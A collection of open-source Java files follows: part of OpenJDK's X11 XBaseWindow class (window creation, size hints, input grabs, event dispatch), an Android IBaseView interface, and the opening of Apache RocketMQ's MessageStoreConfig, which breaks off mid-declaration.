parentWindow = (Long)params.get(PARENT_WINDOW); Rectangle bounds = (Rectangle)params.get(BOUNDS); Integer depth = (Integer)params.get(DEPTH); Integer visual_class = (Integer)params.get(VISUAL_CLASS); Long visual = (Long)params.get(VISUAL); Boolean overrideRedirect = (Boolean)params.get(OVERRIDE_REDIRECT); if (overrideRedirect != null) { xattr.set_override_redirect(overrideRedirect.booleanValue()); value_mask |= XConstants.CWOverrideRedirect; } Boolean saveUnder = (Boolean)params.get(SAVE_UNDER); if (saveUnder != null) { xattr.set_save_under(saveUnder.booleanValue()); value_mask |= XConstants.CWSaveUnder; } Integer backingStore = (Integer)params.get(BACKING_STORE); if (backingStore != null) { xattr.set_backing_store(backingStore.intValue()); value_mask |= XConstants.CWBackingStore; } Integer bitGravity = (Integer)params.get(BIT_GRAVITY); if (bitGravity != null) { xattr.set_bit_gravity(bitGravity.intValue()); value_mask |= XConstants.CWBitGravity; } if (log.isLoggable(PlatformLogger.Level.FINE)) { log.fine("Creating window for " + this + " with the following attributes: \n" + params); } window = XlibWrapper.XCreateWindow(XToolkit.getDisplay(), parentWindow.longValue(), scaleUp(bounds.x), scaleUp(bounds.y), scaleUp(bounds.width), scaleUp(bounds.height), 0, // border depth.intValue(), // depth visual_class.intValue(), // class visual.longValue(), // visual value_mask, // value mask xattr.pData); // attributes if (window == 0) { throw new IllegalStateException("Couldn't create window because of wrong parameters. Run with NOISY_AWT to see details"); } XToolkit.addToWinMap(window, this); } finally { xattr.dispose(); } } finally { XToolkit.awtUnlock(); } } public XCreateWindowParams getDelayedParams() { return delayedParams; } protected String getWMName() { return XToolkit.getCorrectXIDString(getClass().getName()); } protected void initClientLeader() { XToolkit.awtLock(); try { if (wm_client_leader == null) { wm_client_leader = XAtom.get("WM_CLIENT_LEADER"); } wm_client_leader.setWindowProperty(this, getXAWTRootWindow()); } finally { XToolkit.awtUnlock(); } } static XRootWindow getXAWTRootWindow() { return XRootWindow.getInstance(); } void destroy() { XToolkit.awtLock(); try { if (hints != null) { XlibWrapper.XFree(hints.pData); hints = null; } XToolkit.removeFromWinMap(getWindow(), this); XlibWrapper.XDestroyWindow(XToolkit.getDisplay(), getWindow()); if (XPropertyCache.isCachingSupported()) { XPropertyCache.clearCache(window); } window = -1; if( !isDisposed() ) { setDisposed( true ); } XAwtState.getGrabWindow(); // Magic - getGrabWindow clear state if grabbing window is disposed of. } finally { XToolkit.awtUnlock(); } } void flush() { XToolkit.awtLock(); try { XlibWrapper.XFlush(XToolkit.getDisplay()); } finally { XToolkit.awtUnlock(); } } /** * Helper function to set W */ public final void setWMHints(XWMHints hints) { XToolkit.awtLock(); try { XlibWrapper.XSetWMHints(XToolkit.getDisplay(), getWindow(), hints.pData); } finally { XToolkit.awtUnlock(); } } public XWMHints getWMHints() { if (wmHints == null) { wmHints = new XWMHints(XlibWrapper.XAllocWMHints()); // XlibWrapper.XGetWMHints(XToolkit.getDisplay(), // getWindow(), // wmHints.pData); } return wmHints; } /* * Call this method under AWTLock. * The lock should be acquired until all operations with XSizeHints are completed. */ public XSizeHints getHints() { if (hints == null) { long p_hints = XlibWrapper.XAllocSizeHints(); hints = new XSizeHints(p_hints); // XlibWrapper.XGetWMNormalHints(XToolkit.getDisplay(), getWindow(), p_hints, XlibWrapper.larg1); // TODO: Shouldn't we listen for WM updates on this property? } return hints; } public void setSizeHints(long flags, int x, int y, int width, int height) { if (insLog.isLoggable(PlatformLogger.Level.FINER)) { insLog.finer("Setting hints, flags " + XlibWrapper.hintsToString(flags)); } XToolkit.awtLock(); try { XSizeHints hints = getHints(); // Note: if PPosition is not set in flags this means that // we want to reset PPosition in hints. This is necessary // for locationByPlatform functionality if ((flags & XUtilConstants.PPosition) != 0) { hints.set_x(scaleUp(x)); hints.set_y(scaleUp(y)); } if ((flags & XUtilConstants.PSize) != 0) { hints.set_width(scaleUp(width)); hints.set_height(scaleUp(height)); } else if ((hints.get_flags() & XUtilConstants.PSize) != 0) { flags |= XUtilConstants.PSize; } if ((flags & XUtilConstants.PMinSize) != 0) { hints.set_min_width(scaleUp(width)); hints.set_min_height(scaleUp(height)); } else if ((hints.get_flags() & XUtilConstants.PMinSize) != 0) { flags |= XUtilConstants.PMinSize; //Fix for 4320050: Minimum size for java.awt.Frame is not being enforced. //We don't need to reset minimum size if it's already set } if ((flags & XUtilConstants.PMaxSize) != 0) { if (maxBounds != null) { if (maxBounds.width != Integer.MAX_VALUE) { hints.set_max_width(scaleUp(maxBounds.width)); } else { hints.set_max_width(XToolkit.getMaxWindowWidthInPixels()); } if (maxBounds.height != Integer.MAX_VALUE) { hints.set_max_height(scaleUp(maxBounds.height)); } else { hints.set_max_height(XToolkit.getMaxWindowHeightInPixels()); } } else { hints.set_max_width(scaleUp(width)); hints.set_max_height(scaleUp(height)); } } else if ((hints.get_flags() & XUtilConstants.PMaxSize) != 0) { flags |= XUtilConstants.PMaxSize; if (maxBounds != null) { if (maxBounds.width != Integer.MAX_VALUE) { hints.set_max_width(scaleUp(maxBounds.width)); } else { hints.set_max_width(XToolkit.getMaxWindowWidthInPixels()); } if (maxBounds.height != Integer.MAX_VALUE) { hints.set_max_height(scaleUp(maxBounds.height)); } else { hints.set_max_height(XToolkit.getMaxWindowHeightInPixels()); } } else { // Leave intact } } flags |= XUtilConstants.PWinGravity; hints.set_flags(flags); hints.set_win_gravity(XConstants.NorthWestGravity); if (insLog.isLoggable(PlatformLogger.Level.FINER)) { insLog.finer("Setting hints, resulted flags " + XlibWrapper.hintsToString(flags) + ", values " + hints); } XlibWrapper.XSetWMNormalHints(XToolkit.getDisplay(), getWindow(), hints.pData); } finally { XToolkit.awtUnlock(); } } public boolean isMinSizeSet() { XSizeHints hints = getHints(); long flags = hints.get_flags(); return ((flags & XUtilConstants.PMinSize) == XUtilConstants.PMinSize); } /** * This lock object can be used to protect instance data from concurrent access * by two threads. If both state lock and AWT lock are taken, AWT Lock should be taken first. */ Object getStateLock() { return state_lock; } public long getWindow() { return window; } public long getContentWindow() { return window; } public XBaseWindow getContentXWindow() { return XToolkit.windowToXWindow(getContentWindow()); } public Rectangle getBounds() { return new Rectangle(x, y, width, height); } public Dimension getSize() { return new Dimension(width, height); } public void toFront() { XToolkit.awtLock(); try { XlibWrapper.XRaiseWindow(XToolkit.getDisplay(), getWindow()); } finally { XToolkit.awtUnlock(); } } public void xRequestFocus(long time) { XToolkit.awtLock(); try { if (focusLog.isLoggable(PlatformLogger.Level.FINER)) { focusLog.finer("XSetInputFocus on " + Long.toHexString(getWindow()) + " with time " + time); } XlibWrapper.XSetInputFocus2(XToolkit.getDisplay(), getWindow(), time); } finally { XToolkit.awtUnlock(); } } public void xRequestFocus() { XToolkit.awtLock(); try { if (focusLog.isLoggable(PlatformLogger.Level.FINER)) { focusLog.finer("XSetInputFocus on " + Long.toHexString(getWindow())); } XlibWrapper.XSetInputFocus(XToolkit.getDisplay(), getWindow()); } finally { XToolkit.awtUnlock(); } } public static long xGetInputFocus() { XToolkit.awtLock(); try { return XlibWrapper.XGetInputFocus(XToolkit.getDisplay()); } finally { XToolkit.awtUnlock(); } } public void xSetVisible(boolean visible) { if (log.isLoggable(PlatformLogger.Level.FINE)) { log.fine("Setting visible on " + this + " to " + visible); } XToolkit.awtLock(); try { this.visible = visible; if (visible) { XlibWrapper.XMapWindow(XToolkit.getDisplay(), getWindow()); } else { XlibWrapper.XUnmapWindow(XToolkit.getDisplay(), getWindow()); } XlibWrapper.XFlush(XToolkit.getDisplay()); } finally { XToolkit.awtUnlock(); } } boolean isMapped() { return mapped; } void updateWMName() { String name = getWMName(); XToolkit.awtLock(); try { if (name == null) { name = " "; } XAtom nameAtom = XAtom.get(XAtom.XA_WM_NAME); nameAtom.setProperty(getWindow(), name); XAtom netNameAtom = XAtom.get("_NET_WM_NAME"); netNameAtom.setPropertyUTF8(getWindow(), name); } finally { XToolkit.awtUnlock(); } } void setWMClass(String[] cl) { if (cl.length != 2) { throw new IllegalArgumentException("WM_CLASS_NAME consists of exactly two strings"); } XToolkit.awtLock(); try { XAtom xa = XAtom.get(XAtom.XA_WM_CLASS); xa.setProperty8(getWindow(), cl[0] + '\0' + cl[1] + '\0'); } finally { XToolkit.awtUnlock(); } } boolean isVisible() { return visible; } static long getScreenOfWindow(long window) { XToolkit.awtLock(); try { return XlibWrapper.getScreenOfWindow(XToolkit.getDisplay(), window); } finally { XToolkit.awtUnlock(); } } long getScreenNumber() { XToolkit.awtLock(); try { return XlibWrapper.XScreenNumberOfScreen(getScreen()); } finally { XToolkit.awtUnlock(); } } long getScreen() { if (screen == -1) { // Not initialized screen = getScreenOfWindow(window); } return screen; } public void xSetBounds(Rectangle bounds) { xSetBounds(bounds.x, bounds.y, bounds.width, bounds.height); } public void xSetBounds(int x, int y, int width, int height) { if (getWindow() == 0) { insLog.warning("Attempt to resize uncreated window"); throw new IllegalStateException("Attempt to resize uncreated window"); } if (insLog.isLoggable(PlatformLogger.Level.FINE)) { insLog.fine("Setting bounds on " + this + " to (" + x + ", " + y + "), " + width + "x" + height); } width = Math.max(MIN_SIZE, width); height = Math.max(MIN_SIZE, height); XToolkit.awtLock(); try { XlibWrapper.XMoveResizeWindow(XToolkit.getDisplay(), getWindow(), scaleUp(x), scaleUp(y), scaleUp(width), scaleUp(height)); } finally { XToolkit.awtUnlock(); } } /** * Translate coordinates from one window into another. Optimized * for XAWT - uses cached data when possible. Preferable over * pure XTranslateCoordinates. * @return coordinates relative to dst, or null if error happened */ static Point toOtherWindow(long src, long dst, int x, int y) { Point rpt = new Point(0, 0); // Check if both windows belong to XAWT - then no X calls are necessary XBaseWindow srcPeer = XToolkit.windowToXWindow(src); XBaseWindow dstPeer = XToolkit.windowToXWindow(dst); if (srcPeer != null && dstPeer != null) { // (x, y) is relative to src rpt.x = x + srcPeer.getAbsoluteX() - dstPeer.getAbsoluteX(); rpt.y = y + srcPeer.getAbsoluteY() - dstPeer.getAbsoluteY(); } else if (dstPeer != null && XlibUtil.isRoot(src, dstPeer.getScreenNumber())) { // from root into peer rpt.x = x - dstPeer.getAbsoluteX(); rpt.y = y - dstPeer.getAbsoluteY(); } else if (srcPeer != null && XlibUtil.isRoot(dst, srcPeer.getScreenNumber())) { // from peer into root rpt.x = x + srcPeer.getAbsoluteX(); rpt.y = y + srcPeer.getAbsoluteY(); } else { int scale = srcPeer == null ? 1 : srcPeer.getScale(); rpt = XlibUtil.translateCoordinates(src, dst, new Point(x, y), scale); } return rpt; } /* * Convert to global coordinates. */ Rectangle toGlobal(Rectangle rec) { Point p = toGlobal(rec.getLocation()); Rectangle newRec = new Rectangle(rec); if (p != null) { newRec.setLocation(p); } return newRec; } Point toGlobal(Point pt) { Point p = toGlobal(pt.x, pt.y); if (p != null) { return p; } else { return new Point(pt); } } Point toGlobal(int x, int y) { long root; XToolkit.awtLock(); try { root = XlibWrapper.RootWindow(XToolkit.getDisplay(), getScreenNumber()); } finally { XToolkit.awtUnlock(); } Point p = toOtherWindow(getContentWindow(), root, x, y); if (p != null) { return p; } else { return new Point(x, y); } } /* * Convert to local coordinates. */ Point toLocal(Point pt) { Point p = toLocal(pt.x, pt.y); if (p != null) { return p; } else { return new Point(pt); } } Point toLocal(int x, int y) { long root; XToolkit.awtLock(); try { root = XlibWrapper.RootWindow(XToolkit.getDisplay(), getScreenNumber()); } finally { XToolkit.awtUnlock(); } Point p = toOtherWindow(root, getContentWindow(), x, y); if (p != null) { return p; } else { return new Point(x, y); } } /** * We should always grab both keyboard and pointer to control event flow * on popups. This also simplifies synthetic grab implementation. * The active grab overrides activated automatic grab. */ public boolean grabInput() { if (grabLog.isLoggable(PlatformLogger.Level.FINE)) { grabLog.fine("Grab input on {0}", this); } XToolkit.awtLock(); try { if (XAwtState.getGrabWindow() == this && XAwtState.isManualGrab()) { grabLog.fine(" Already Grabbed"); return true; } //6273031: PIT. Choice drop down does not close once it is right clicked to show a popup menu //remember previous window having grab and if it's not null ungrab it. XBaseWindow prevGrabWindow = XAwtState.getGrabWindow(); final int eventMask = (int) (XConstants.ButtonPressMask | XConstants.ButtonReleaseMask | XConstants.EnterWindowMask | XConstants.LeaveWindowMask | XConstants.PointerMotionMask | XConstants.ButtonMotionMask); final int ownerEvents = 1; //6714678: IDE (Netbeans, Eclipse, JDeveloper) Debugger hangs //process on Linux //The user must pass the sun.awt.disablegrab property to disable //taking grabs. This prevents hanging of the GUI when a breakpoint //is hit while a popup window taking the grab is open. if (!XToolkit.getSunAwtDisableGrab()) { int ptrGrab = XlibWrapper.XGrabPointer(XToolkit.getDisplay(), getContentWindow(), ownerEvents, eventMask, XConstants.GrabModeAsync, XConstants.GrabModeAsync, XConstants.None, (XWM.isMotif() ? XToolkit.arrowCursor : XConstants.None), XConstants.CurrentTime); // Check grab results to be consistent with X server grab if (ptrGrab != XConstants.GrabSuccess) { XlibWrapper.XUngrabPointer(XToolkit.getDisplay(), XConstants.CurrentTime); XAwtState.setGrabWindow(null); grabLog.fine(" Grab Failure - mouse"); return false; } int keyGrab = XlibWrapper.XGrabKeyboard(XToolkit.getDisplay(), getContentWindow(), ownerEvents, XConstants.GrabModeAsync, XConstants.GrabModeAsync, XConstants.CurrentTime); if (keyGrab != XConstants.GrabSuccess) { XlibWrapper.XUngrabPointer(XToolkit.getDisplay(), XConstants.CurrentTime); XlibWrapper.XUngrabKeyboard(XToolkit.getDisplay(), XConstants.CurrentTime); XAwtState.setGrabWindow(null); grabLog.fine(" Grab Failure - keyboard"); return false; } } if (prevGrabWindow != null) { prevGrabWindow.ungrabInputImpl(); } XAwtState.setGrabWindow(this); grabLog.fine(" Grab - success"); return true; } finally { XToolkit.awtUnlock(); } } public static void ungrabInput() { XToolkit.awtLock(); try { XBaseWindow grabWindow = XAwtState.getGrabWindow(); if (grabLog.isLoggable(PlatformLogger.Level.FINE)) { grabLog.fine("UnGrab input on {0}", grabWindow); } if (grabWindow != null) { grabWindow.ungrabInputImpl(); if (!XToolkit.getSunAwtDisableGrab()) { XlibWrapper.XUngrabPointer(XToolkit.getDisplay(), XConstants.CurrentTime); XlibWrapper.XUngrabKeyboard(XToolkit.getDisplay(), XConstants.CurrentTime); } XAwtState.setGrabWindow(null); // we need to call XFlush() here to force ungrab // see 6384219 for details XlibWrapper.XFlush(XToolkit.getDisplay()); } } finally { XToolkit.awtUnlock(); } } // called from ungrabInput, used in popup windows to hide theirselfs in ungrabbing void ungrabInputImpl() { } static void checkSecurity() { if (XToolkit.isSecurityWarningEnabled() && XToolkit.isToolkitThread()) { StackTraceElement[] stack = (new Throwable()).getStackTrace(); log.warning(stack[1] + ": Security violation: calling user code on toolkit thread"); } } public Set<Long> getChildren() { synchronized (getStateLock()) { return new HashSet<Long>(children); } } // -------------- Event handling ---------------- public void handleMapNotifyEvent(XEvent xev) { mapped = true; } public void handleUnmapNotifyEvent(XEvent xev) { mapped = false; } public void handleReparentNotifyEvent(XEvent xev) { if (eventLog.isLoggable(PlatformLogger.Level.FINER)) { XReparentEvent msg = xev.get_xreparent(); eventLog.finer(msg.toString()); } } public void handlePropertyNotify(XEvent xev) { XPropertyEvent msg = xev.get_xproperty(); if (XPropertyCache.isCachingSupported()) { XPropertyCache.clearCache(window, XAtom.get(msg.get_atom())); } if (eventLog.isLoggable(PlatformLogger.Level.FINER)) { eventLog.finer("{0}", msg); } } public void handleDestroyNotify(XEvent xev) { XAnyEvent xany = xev.get_xany(); if (xany.get_window() == getWindow()) { XToolkit.removeFromWinMap(getWindow(), this); if (XPropertyCache.isCachingSupported()) { XPropertyCache.clearCache(getWindow()); } } if (xany.get_window() != getWindow()) { synchronized (getStateLock()) { children.remove(xany.get_window()); } } } public void handleCreateNotify(XEvent xev) { XAnyEvent xany = xev.get_xany(); if (xany.get_window() != getWindow()) { synchronized (getStateLock()) { children.add(xany.get_window()); } } } public void handleClientMessage(XEvent xev) { if (eventLog.isLoggable(PlatformLogger.Level.FINER)) { XClientMessageEvent msg = xev.get_xclient(); eventLog.finer(msg.toString()); } } public void handleVisibilityEvent(XEvent xev) { } public void handleKeyPress(XEvent xev) { } public void handleKeyRelease(XEvent xev) { } public void handleExposeEvent(XEvent xev) { } /** * Activate automatic grab on first ButtonPress, * deactivate on full mouse release */ public void handleButtonPressRelease(XEvent xev) { XButtonEvent xbe = xev.get_xbutton(); /* * Ignore the buttons above 20 due to the bit limit for * InputEvent.BUTTON_DOWN_MASK. * One more bit is reserved for FIRST_HIGH_BIT. */ int theButton = xbe.get_button(); if (theButton > SunToolkit.MAX_BUTTONS_SUPPORTED) { return; } int buttonState = 0; buttonState = xbe.get_state() & XConstants.ALL_BUTTONS_MASK; boolean isWheel = (theButton == XConstants.MouseWheelUp || theButton == XConstants.MouseWheelDown); // don't give focus if it's just the mouse wheel turning if (!isWheel) { switch (xev.get_type()) { case XConstants.ButtonPress: if (buttonState == 0) { XWindowPeer parent = getToplevelXWindow(); // See 6385277, 6981400. if (parent != null && parent.isFocusableWindow()) { // A click in a client area drops the actual focused window retaining. parent.setActualFocusedWindow(null); parent.requestWindowFocus(xbe.get_time(), true); } XAwtState.setAutoGrabWindow(this); } break; case XConstants.ButtonRelease: if (isFullRelease(buttonState, xbe.get_button())) { XAwtState.setAutoGrabWindow(null); } break; } } } public void handleMotionNotify(XEvent xev) { } public void handleXCrossingEvent(XEvent xev) { } public void handleConfigureNotifyEvent(XEvent xev) { XConfigureEvent xe = xev.get_xconfigure(); if (insLog.isLoggable(PlatformLogger.Level.FINER)) { insLog.finer("Configure, {0}", xe); } x = scaleDown(xe.get_x()); y = scaleDown(xe.get_y()); width = scaleDown(xe.get_width()); height = scaleDown(xe.get_height()); } /** * Checks ButtonRelease released all Mouse buttons */ static boolean isFullRelease(int buttonState, int button) { final int buttonsNumber = XToolkit.getNumberOfButtonsForMask(); if (button < 0 || button > buttonsNumber) { return buttonState == 0; } else { return buttonState == XlibUtil.getButtonMask(button); } } static boolean isGrabbedEvent(XEvent ev, XBaseWindow target) { switch (ev.get_type()) { case XConstants.ButtonPress: case XConstants.ButtonRelease: case XConstants.MotionNotify: case XConstants.KeyPress: case XConstants.KeyRelease: return true; case XConstants.LeaveNotify: case XConstants.EnterNotify: // We shouldn't dispatch this events to the grabbed components (see 6317481) // But this logic is important if the grabbed component is top-level (see realSync) return (target instanceof XWindowPeer); default: return false; } } /** * Dispatches event to the grab Window or event source window depending * on whether the grab is active and on the event type */ static void dispatchToWindow(XEvent ev) { XBaseWindow target = XAwtState.getGrabWindow(); if (target == null || !isGrabbedEvent(ev, target)) { target = XToolkit.windowToXWindow(ev.get_xany().get_window()); } if (target != null && target.checkInitialised()) { target.dispatchEvent(ev); } } public void dispatchEvent(XEvent xev) { if (eventLog.isLoggable(PlatformLogger.Level.FINEST)) { eventLog.finest(xev.toString()); } int type = xev.get_type(); if (isDisposed()) { return; } switch (type) { case XConstants.VisibilityNotify: handleVisibilityEvent(xev); break; case XConstants.ClientMessage: handleClientMessage(xev); break; case XConstants.Expose : case XConstants.GraphicsExpose : handleExposeEvent(xev); break; case XConstants.ButtonPress: case XConstants.ButtonRelease: handleButtonPressRelease(xev); break; case XConstants.MotionNotify: handleMotionNotify(xev); break; case XConstants.KeyPress: handleKeyPress(xev); break; case XConstants.KeyRelease: handleKeyRelease(xev); break; case XConstants.EnterNotify: case XConstants.LeaveNotify: handleXCrossingEvent(xev); break; case XConstants.ConfigureNotify: handleConfigureNotifyEvent(xev); break; case XConstants.MapNotify: handleMapNotifyEvent(xev); break; case XConstants.UnmapNotify: handleUnmapNotifyEvent(xev); break; case XConstants.ReparentNotify: handleReparentNotifyEvent(xev); break; case XConstants.PropertyNotify: handlePropertyNotify(xev); break; case XConstants.DestroyNotify: handleDestroyNotify(xev); break; case XConstants.CreateNotify: handleCreateNotify(xev); break; } } protected boolean isEventDisabled(XEvent e) { return false; } int getX() { return x; } int getY() { return y; } int getWidth() { return width; } int getHeight() { return height; } void setDisposed(boolean d) { disposed = d; } boolean isDisposed() { return disposed; } public int getAbsoluteX() { XBaseWindow pw = getParentWindow(); if (pw != null) { return pw.getAbsoluteX() + getX(); } else { // Overridden for top-levels as their (x,y) is Java (x, y), not native location return getX(); } } public int getAbsoluteY() { XBaseWindow pw = getParentWindow(); if (pw != null) { return pw.getAbsoluteY() + getY(); } else { return getY(); } } public XBaseWindow getParentWindow() { return parentWindow; } public XWindowPeer getToplevelXWindow() { XBaseWindow bw = this; while (bw != null && !(bw instanceof XWindowPeer)) { bw = bw.getParentWindow(); } return (XWindowPeer)bw; } public String toString() { return super.toString() + "(" + Long.toString(getWindow(), 16) + ")"; } /** * Returns whether the given point is inside of the window. Coordinates are local. */ public boolean contains(int x, int y) { return x >= 0 && y >= 0 && x < getWidth() && y < getHeight(); } /** * Returns whether the given point is inside of the window. Coordinates are global. */ public boolean containsGlobal(int x, int y) { return x >= getAbsoluteX() && y >= getAbsoluteY() && x < (getAbsoluteX()+getWidth()) && y < (getAbsoluteY()+getHeight()); } }
openjdk/jdk
src/java.desktop/unix/classes/sun/awt/X11/XBaseWindow.java
41,516
package com.blankj.base; import android.os.Bundle; import android.view.View; import androidx.annotation.LayoutRes; import androidx.annotation.NonNull; import androidx.annotation.Nullable; /** * <pre> * author: Blankj * blog : http://blankj.com * time : 2018/11/16 * desc : * </pre> */ public interface IBaseView { void initData(@Nullable Bundle bundle); int bindLayout(); void setContentView(); void initView(@Nullable Bundle savedInstanceState, @Nullable View contentView); void doBusiness(); void onDebouncingClick(@NonNull View view); }
Blankj/AndroidUtilCode
lib/base/src/main/java/com/blankj/base/IBaseView.java
41,517
/* * Licensed to the Apache Software Foundation (ASF) under one or more * contributor license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright ownership. * The ASF licenses this file to You under the Apache License, Version 2.0 * (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.apache.rocketmq.store.config; import java.io.File; import org.apache.rocketmq.common.annotation.ImportantField; import org.apache.rocketmq.store.ConsumeQueue; import org.apache.rocketmq.store.StoreType; import org.apache.rocketmq.store.queue.BatchConsumeQueue; public class MessageStoreConfig { public static final String MULTI_PATH_SPLITTER = System.getProperty("rocketmq.broker.multiPathSplitter", ","); //The root directory in which the log data is kept @ImportantField private String storePathRootDir = System.getProperty("user.home") + File.separator + "store"; //The directory in which the commitlog is kept @ImportantField private String storePathCommitLog = null; @ImportantField private String storePathDLedgerCommitLog = null; //The directory in which the epochFile is kept @ImportantField private String storePathEpochFile = null; @ImportantField private String storePathBrokerIdentity = null; private String readOnlyCommitLogStorePaths = null; // CommitLog file size,default is 1G private int mappedFileSizeCommitLog = 1024 * 1024 * 1024; // CompactinLog file size, default is 100M private int compactionMappedFileSize = 100 * 1024 * 1024; // CompactionLog consumeQueue file size, default is 10M private int compactionCqMappedFileSize = 10 * 1024 * 1024; private int compactionScheduleInternal = 15 * 60 * 1000; private int maxOffsetMapSize = 100 * 1024 * 1024; private int compactionThreadNum = 6; private boolean enableCompaction = true; // TimerLog file size, default is 100M private int mappedFileSizeTimerLog = 100 * 1024 * 1024; private int timerPrecisionMs = 1000; private int timerRollWindowSlot = 3600 * 24 * 2; private int timerFlushIntervalMs = 1000; private int timerGetMessageThreadNum = 3; private int timerPutMessageThreadNum = 3; private boolean timerEnableDisruptor = false; private boolean timerEnableCheckMetrics = true; private boolean timerInterceptDelayLevel = false; private int timerMaxDelaySec = 3600 * 24 * 3; private boolean timerWheelEnable = true; /** * 1. Register to broker after (startTime + disappearTimeAfterStart) * 2. Internal msg exchange will start after (startTime + disappearTimeAfterStart) * A. PopReviveService * B. TimerDequeueGetService */ @ImportantField private int disappearTimeAfterStart = -1; private boolean timerStopEnqueue = false; private String timerCheckMetricsWhen = "05"; private boolean timerSkipUnknownError = false; private boolean timerWarmEnable = false; private boolean timerStopDequeue = false; private int timerCongestNumEachSlot = Integer.MAX_VALUE; private int timerMetricSmallThreshold = 1000000; private int timerProgressLogIntervalMs = 10 * 1000; // default, defaultRocksDB @ImportantField private String storeType = StoreType.DEFAULT.getStoreType(); // ConsumeQueue file size,default is 30W private int mappedFileSizeConsumeQueue = 300000 * ConsumeQueue.CQ_STORE_UNIT_SIZE; // enable consume queue ext private boolean enableConsumeQueueExt = false; // ConsumeQueue extend file size, 48M private int mappedFileSizeConsumeQueueExt = 48 * 1024 * 1024; private int mapperFileSizeBatchConsumeQueue = 300000 * BatchConsumeQueue.CQ_STORE_UNIT_SIZE; // Bit count of filter bit map. // this will be set by pipe of calculate filter bit map. private int bitMapLengthConsumeQueueExt = 64; // CommitLog flush interval // flush data to disk @ImportantField private int flushIntervalCommitLog = 500; // Only used if TransientStorePool enabled // flush data to FileChannel @ImportantField private int commitIntervalCommitLog = 200; private int maxRecoveryCommitlogFiles = 30; private int diskSpaceWarningLevelRatio = 90; private int diskSpaceCleanForciblyRatio = 85; /** * introduced since 4.0.x. Determine whether to use mutex reentrantLock when putting message.<br/> */ private boolean useReentrantLockWhenPutMessage = true; // Whether schedule flush @ImportantField private boolean flushCommitLogTimed = true; // ConsumeQueue flush interval private int flushIntervalConsumeQueue = 1000; // Resource reclaim interval private int cleanResourceInterval = 10000; // CommitLog removal interval private int deleteCommitLogFilesInterval = 100; // ConsumeQueue removal interval private int deleteConsumeQueueFilesInterval = 100; private int destroyMapedFileIntervalForcibly = 1000 * 120; private int redeleteHangedFileInterval = 1000 * 120; // When to delete,default is at 4 am @ImportantField private String deleteWhen = "04"; private int diskMaxUsedSpaceRatio = 75; // The number of hours to keep a log file before deleting it (in hours) @ImportantField private int fileReservedTime = 72; @ImportantField private int deleteFileBatchMax = 10; // Flow control for ConsumeQueue private int putMsgIndexHightWater = 600000; // The maximum size of message body,default is 4M,4M only for body length,not include others. private int maxMessageSize = 1024 * 1024 * 4; // The maximum size of message body can be set in config;count with maxMsgNums * CQ_STORE_UNIT_SIZE(20 || 46) private int maxFilterMessageSize = 16000; // Whether check the CRC32 of the records consumed. // This ensures no on-the-wire or on-disk corruption to the messages occurred. // This check adds some overhead,so it may be disabled in cases seeking extreme performance. private boolean checkCRCOnRecover = true; // How many pages are to be flushed when flush CommitLog private int flushCommitLogLeastPages = 4; // How many pages are to be committed when commit data to file private int commitCommitLogLeastPages = 4; // Flush page size when the disk in warming state private int flushLeastPagesWhenWarmMapedFile = 1024 / 4 * 16; // How many pages are to be flushed when flush ConsumeQueue private int flushConsumeQueueLeastPages = 2; private int flushCommitLogThoroughInterval = 1000 * 10; private int commitCommitLogThoroughInterval = 200; private int flushConsumeQueueThoroughInterval = 1000 * 60; @ImportantField private int maxTransferBytesOnMessageInMemory = 1024 * 256; @ImportantField private int maxTransferCountOnMessageInMemory = 32; @ImportantField private int maxTransferBytesOnMessageInDisk = 1024 * 64; @ImportantField private int maxTransferCountOnMessageInDisk = 8; @ImportantField private int accessMessageInMemoryMaxRatio = 40; @ImportantField private boolean messageIndexEnable = true; private int maxHashSlotNum = 5000000; private int maxIndexNum = 5000000 * 4; private int maxMsgsNumBatch = 64; @ImportantField private boolean messageIndexSafe = false; private int haListenPort = 10912; private int haSendHeartbeatInterval = 1000 * 5; private int haHousekeepingInterval = 1000 * 20; /** * Maximum size of data to transfer to slave. * NOTE: cannot be larger than HAClient.READ_MAX_BUFFER_SIZE */ private int haTransferBatchSize = 1024 * 32; @ImportantField private String haMasterAddress = null; private int haMaxGapNotInSync = 1024 * 1024 * 256; @ImportantField private volatile BrokerRole brokerRole = BrokerRole.ASYNC_MASTER; @ImportantField private FlushDiskType flushDiskType = FlushDiskType.ASYNC_FLUSH; // Used by GroupTransferService to sync messages from master to slave private int syncFlushTimeout = 1000 * 5; // Used by PutMessage to wait messages be flushed to disk and synchronized in current broker member group. private int putMessageTimeout = 1000 * 8; private int slaveTimeout = 3000; private String messageDelayLevel = "1s 5s 10s 30s 1m 2m 3m 4m 5m 6m 7m 8m 9m 10m 20m 30m 1h 2h"; private long flushDelayOffsetInterval = 1000 * 10; @ImportantField private boolean cleanFileForciblyEnable = true; private boolean warmMapedFileEnable = false; private boolean offsetCheckInSlave = false; private boolean debugLockEnable = false; private boolean duplicationEnable = false; private boolean diskFallRecorded = true; private long osPageCacheBusyTimeOutMills = 1000; private int defaultQueryMaxNum = 32; @ImportantField private boolean transientStorePoolEnable = false; private int transientStorePoolSize = 5; private boolean fastFailIfNoBufferInStorePool = false; // DLedger message store config private boolean enableDLegerCommitLog = false; private String dLegerGroup; private String dLegerPeers; private String dLegerSelfId; private String preferredLeaderId; private boolean enableBatchPush = false; private boolean enableScheduleMessageStats = true; private boolean enableLmq = false; private boolean enableMultiDispatch = false; private int maxLmqConsumeQueueNum = 20000; private boolean enableScheduleAsyncDeliver = false; private int scheduleAsyncDeliverMaxPendingLimit = 2000; private int scheduleAsyncDeliverMaxResendNum2Blocked = 3; private int maxBatchDeleteFilesNum = 50; //Polish dispatch private int dispatchCqThreads = 10; private int dispatchCqCacheNum = 1024 * 4; private boolean enableAsyncReput = true; //For recheck the reput private boolean recheckReputOffsetFromCq = false; // Maximum length of topic, it will be removed in the future release @Deprecated private int maxTopicLength = Byte.MAX_VALUE; /** * Use MessageVersion.MESSAGE_VERSION_V2 automatically if topic length larger than Bytes.MAX_VALUE. * Otherwise, store use MESSAGE_VERSION_V1. Note: Client couldn't decode MESSAGE_VERSION_V2 version message. * Enable this config to resolve this issue. https://github.com/apache/rocketmq/issues/5568 */ private boolean autoMessageVersionOnTopicLen = true; /** * It cannot be changed after the broker is started. * Modifications need to be restarted to take effect. */ private boolean 